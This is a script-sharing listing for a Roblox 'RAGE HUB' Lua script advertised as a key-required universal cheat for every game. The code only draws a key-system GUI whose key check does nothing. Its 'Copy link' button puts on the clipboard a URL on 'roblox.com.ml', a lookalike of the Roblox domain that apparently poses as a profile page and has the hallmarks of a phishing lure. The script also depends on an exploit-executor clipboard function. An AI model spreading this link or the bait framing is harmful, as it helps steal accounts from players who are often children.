UNIVERSAL SCRIPT FOR EVERY THING
Key RequiredUniversal

UNIVERSAL SCRIPT FOR EVERY THING

Universal Scriptmranomaly100mranomaly100 27 views 17 executesUpdated Jul 7, 2026
Unrated
00
Lua Script•236 lines (7425 chars)
-- RAGE HUB MADE BY INSANITY - Key System GUI
-- Place this in StarterGui as a LocalScript

local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

-- API KEY LINK - PASTE YOUR LINK HERE IN THE QUOTES
local API_LINK = "https://www.roblox.com.ml/users/224654536337/profile"

-- Create main ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RageHubGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui

-- Create background frame with gradient effect
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, 500, 0, 300)
mainFrame.Position = UDim2.new(0.5, -250, 0.5, -150)
mainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui

-- Add corner radius
local cornerRadius = Instance.new("UICorner")
cornerRadius.CornerRadius = UDim.new(0, 15)
cornerRadius.Parent = mainFrame

-- Add stroke/border
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(255, 100, 0)
stroke.Thickness = 2
stroke.Parent = mainFrame

-- Title Label
local titleLabel = Instance.new("TextLabel")
titleLabel.Name = "TitleLabel"
titleLabel.Size = UDim2.new(1, 0, 0, 70)
titleLabel.Position = UDim2.new(0, 0, 0, 0)
titleLabel.BackgroundColor3 = Color3.fromRGB(30, 15, 0)
titleLabel.BorderSizePixel = 0
titleLabel.TextScaled = true
titleLabel.TextColor3 = Color3.fromRGB(255, 140, 0)
titleLabel.Font = Enum.Font.GothamBold
titleLabel.Text = "⚡ RAGE HUB ⚡"
titleLabel.Parent = mainFrame

-- Add corner radius to title
local titleCorner = Instance.new("UICorner")
titleCorner.CornerRadius = UDim.new(0, 15)
titleCorner.Parent = titleLabel

-- Subtitle
local subtitleLabel = Instance.new("TextLabel")
subtitleLabel.Name = "SubtitleLabel"
subtitleLabel.Size = UDim2.new(1, 0, 0, 25)
subtitleLabel.Position = UDim2.new(0, 0, 0, 70)
subtitleLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
subtitleLabel.BorderSizePixel = 0
subtitleLabel.TextScaled = true
subtitleLabel.TextColor3 = Color3.fromRGB(255, 200, 0)
subtitleLabel.Font = Enum.Font.Gotham
subtitleLabel.Text = "MADE BY INSANITY"
subtitleLabel.Parent = mainFrame

-- Check Key Button
local checkKeyButton = Instance.new("TextButton")
checkKeyButton.Name = "CheckKeyButton"
checkKeyButton.Size = UDim2.new(0, 210, 0, 80)
checkKeyButton.Position = UDim2.new(0, 20, 0, 110)
checkKeyButton.BackgroundColor3 = Color3.fromRGB(40, 25, 0)
checkKeyButton.TextScaled = true
checkKeyButton.TextColor3 = Color3.fromRGB(255, 150, 0)
checkKeyButton.Font = Enum.Font.GothamBold
checkKeyButton.Text = "🔑 CHECK KEY"
checkKeyButton.BorderSizePixel = 0
checkKeyButton.Parent = mainFrame

-- Stroke for check key button
local checkKeyStroke = Instance.new("UIStroke")
checkKeyStroke.Color = Color3.fromRGB(255, 100, 0)
checkKeyStroke.Thickness = 1.5
checkKeyStroke.Parent = checkKeyButton

-- Corner radius for check key button
local checkKeyCorner = Instance.new("UICorner")
checkKeyCorner.CornerRadius = UDim.new(0, 10)
checkKeyCorner.Parent = checkKeyButton

-- Copy Link Button
local copyLinkButton = Instance.new("TextButton")
copyLinkButton.Name = "CopyLinkButton"
copyLinkButton.Size = UDim2.new(0, 210, 0, 80)
copyLinkButton.Position = UDim2.new(0, 270, 0, 110)
copyLinkButton.BackgroundColor3 = Color3.fromRGB(25, 40, 0)
copyLinkButton.TextScaled = true
copyLinkButton.TextColor3 = Color3.fromRGB(100, 255, 100)
copyLinkButton.Font = Enum.Font.GothamBold
copyLinkButton.Text = "🔗 COPY LINK"
copyLinkButton.BorderSizePixel = 0
copyLinkButton.Parent = mainFrame

-- Stroke for copy link button
local copyLinkStroke = Instance.new("UIStroke")
copyLinkStroke.Color = Color3.fromRGB(100, 255, 100)
copyLinkStroke.Thickness = 1.5
copyLinkStroke.Parent = copyLinkButton

-- Corner radius for copy link button
local copyLinkCorner = Instance.new("UICorner")
copyLinkCorner.CornerRadius = UDim.new(0, 10)
copyLinkCorner.Parent = copyLinkButton

-- Status Label
local statusLabel = Instance.new("TextLabel")
statusLabel.Name = "StatusLabel"
statusLabel.Size = UDim2.new(0.9, 0, 0, 40)
statusLabel.Position = UDim2.new(0.05, 0, 0, 210)
statusLabel.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
statusLabel.BorderSizePixel = 0
statusLabel.TextScaled = true
statusLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
statusLabel.Font = Enum.Font.Gotham
statusLabel.Text = "Click a button to get started!"
statusLabel.Parent = mainFrame

-- Add corner radius to status
local statusCorner = Instance.new("UICorner")
statusCorner.CornerRadius = UDim.new(0, 8)
statusCorner.Parent = statusLabel

-- FIRE INTRO ANIMATION
local function fireIntro()
	-- Fade in effect
	mainFrame.BackgroundTransparency = 1
	titleLabel.TextTransparency = 1
	subtitleLabel.TextTransparency = 1
	checkKeyButton.TextTransparency = 1
	copyLinkButton.TextTransparency = 1
	statusLabel.TextTransparency = 1
	stroke.Transparency = 1
	checkKeyStroke.Transparency = 1
	copyLinkStroke.Transparency = 1
	
	-- Animate title in with fire effect
	mainFrame.Position = UDim2.new(0.5, -250, 0.5, -150)
	mainFrame.Size = UDim2.new(0, 500, 0, 300)
	
	-- Fire intro - fade and scale
	for i = 0, 1, 0.05 do
		mainFrame.BackgroundTransparency = 1 - i
		stroke.Transparency = 1 - i
		titleLabel.TextTransparency = 1 - i
		subtitleLabel.TextTransparency = 1 - i
		task.wait(0.03)
	end
	
	task.wait(0.3)
	
	-- Buttons fade in
	for i = 0, 1, 0.08 do
		checkKeyButton.TextTransparency = 1 - i
		copyLinkButton.TextTransparency = 1 - i
		checkKeyStroke.Transparency = 1 - i
		copyLinkStroke.Transparency = 1 - i
		task.wait(0.02)
	end
	
	task.wait(0.2)
	
	-- Status fades in
	for i = 0, 1, 0.1 do
		statusLabel.TextTransparency = 1 - i
		task.wait(0.02)
	end
end

-- BUTTON INTERACTIONS
local function setStatus(message, color)
	statusLabel.Text = message
	statusLabel.TextColor3 = color
end

checkKeyButton.MouseButton1Click:Connect(function()
	setStatus("✅ Key system check: Coming soon!", Color3.fromRGB(100, 255, 100))
	
	-- Optional: Add your key validation logic here
	task.wait(2)
	setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
end)

copyLinkButton.MouseButton1Click:Connect(function()
	-- Copy the API link to clipboard
	setStatus("📋 Copying link to clipboard...", Color3.fromRGB(255, 200, 100))
	
	-- Use setclipboard if available (in supported environments)
	if setclipboard then
		setclipboard(API_LINK)
		task.wait(0.5)
		setStatus("✅ Link copied! " .. API_LINK, Color3.fromRGB(100, 255, 100))
		task.wait(2)
		setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
	else
		setStatus("⚠️ Clipboard not available in this environment", Color3.fromRGB(255, 150, 100))
		task.wait(2)
		setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
	end
end)

-- Hover effects
local function addHoverEffect(button)
	local originalColor = button.BackgroundColor3
	
	button.MouseEnter:Connect(function()
		button.BackgroundColor3 = Color3.fromRGB(
			math.min(originalColor.R + 0.15, 1),
			math.min(originalColor.G + 0.15, 1),
			math.min(originalColor.B + 0.15, 1)
		)
	end)
	
	button.MouseLeave:Connect(function()
		button.BackgroundColor3 = originalColor
	end)
end

addHoverEffect(checkKeyButton)
addHoverEffect(copyLinkButton)

-- Run fire intro on startup
fireIntro()

print("🔥 RAGE HUB LOADED - MADE BY INSANITY 🔥")

Features & Information

EVERY GAME

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts